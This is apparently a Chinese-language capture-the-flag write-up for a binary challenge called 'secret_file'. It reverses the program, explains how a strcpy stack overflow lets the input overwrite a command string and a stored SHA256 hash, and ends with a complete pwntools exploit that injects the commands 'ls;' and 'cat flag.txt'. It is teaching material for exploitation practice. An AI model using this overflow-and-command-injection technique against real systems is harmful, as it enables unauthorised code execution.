1.程序逆向
感觉这题的绝大部分难度在逆向上,可以逆个大概然后动调就ok了。
刚一看到有点懵,直接看看让干什么:
最终需要我们满足 v15 和 v17 的值相等。
往前找看看 v15 和 v17 分别是什么。通过在栈中的关系看到,v15 在第一个函数里面进行了赋了一个 hash 值:
此后再也没变过。再看 v17:
DD0函数做了一个 SHA256,结果应该是存放在了 v16 中,
然后把结果的每个字符转换成 16 进制通过 snprintf 存到了 v17 中,最后比较 v15 和 v17,如果相等即通过。那肯定不可能找出一个字符串的 hash 值和给定的 hash 值相同,所以应该是能修改给定的 hash 值。
在程序最开始读入我们输入字符串的函数是 getline,getline 函数定义如下:
getline会生成一个包含一串从输入流读入的字符的字符串,直到以下情况发生会导致生成的此字符串结束:1)到文件结束,2)遇到函数的定界符,3)输入达到最大限度。
#include <stdio.h>
ssize_t getline(char **lineptr, size_t *n, FILE *stream);
// lineptr:指向存放该行字符的指针,如果是NULL,则有系统帮助malloc,请在使用完成后free释放。
// n:如果是由系统malloc的指针,请填0
// stream:文件描述符
然后通过 strcpy 拷贝到 dest 处:
那这里就产生了栈溢出。
此时我们看这几个变量的关系:
输入的字符存放在 dest,v14 是 strcmp 通过后执行的命令,v15 存放预先的 hash 值,v17 是计算后的 hash 值。
因为 DD0 函数中只取了前 100 字节进行 hash 值的计算,所以这里覆盖 dest 的前 100 字节为计算 hash 的字符串,然后覆盖 v14 为想要执行的命令,v15 为前面字符串的 hash,所以 pl 结构如下:
pl = 'a' * 0x100 + "ls;".ljust(0x1b, ' ') + hashlib.sha256('a'*0x100).hexdigest()
最终 v15:
v17:
因为预先不知道 flag 在哪里,所以需要先执行一下 ls;,第二次 cat flag.txt。
2.漏洞利用
- 栈溢出
3.完整 exp
from pwn import *
import hashlib
# p = remote("111.200.241.244", 52132)
p = process("./secret_file")
pl = 'a' * 0x100 + "ls;".ljust(0x1b, ' ') + hashlib.sha256('a' * 0x100).hexdigest()
# gdb.attach(p, "b *$rebase(0xb45) \n c")
p.sendline(pl)
p.interactive()